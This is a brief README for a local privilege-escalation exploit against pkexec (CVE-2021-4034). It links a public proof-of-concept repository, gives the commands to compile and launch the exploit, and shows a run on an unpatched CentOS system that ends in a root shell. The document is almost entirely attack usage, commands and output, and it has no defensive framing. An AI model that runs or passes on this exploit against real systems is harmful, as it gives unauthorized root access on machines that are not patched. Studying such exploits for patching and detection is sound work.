README

blasty-vs-pkexec.c - privilege escalation exploit using pkexec.

Reference:

<https://github.com/jas502n/pkexec-CVE-2021-4034>

Tested on unpatched CentOS:

$ uname -a

Linux localhost.localdomain 3.10.0-1160.el7.x86\_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86\_64 x86\_64 x86\_64 GNU/Linux

Compile using cc blasty-vs-pkexec.c -o iamgroot

Launch ./iamgroot

./iamgroot

[~] compile helper..

[~] maybe get shell now?

sh-4.2# id

uid=0(root) gid=0(root) groups=0(root),1000(jojonigs) context=unconfined\_u:unconfined\_r:unconfined\_t:s0-s0:c0.c1023

sh-4.2# exit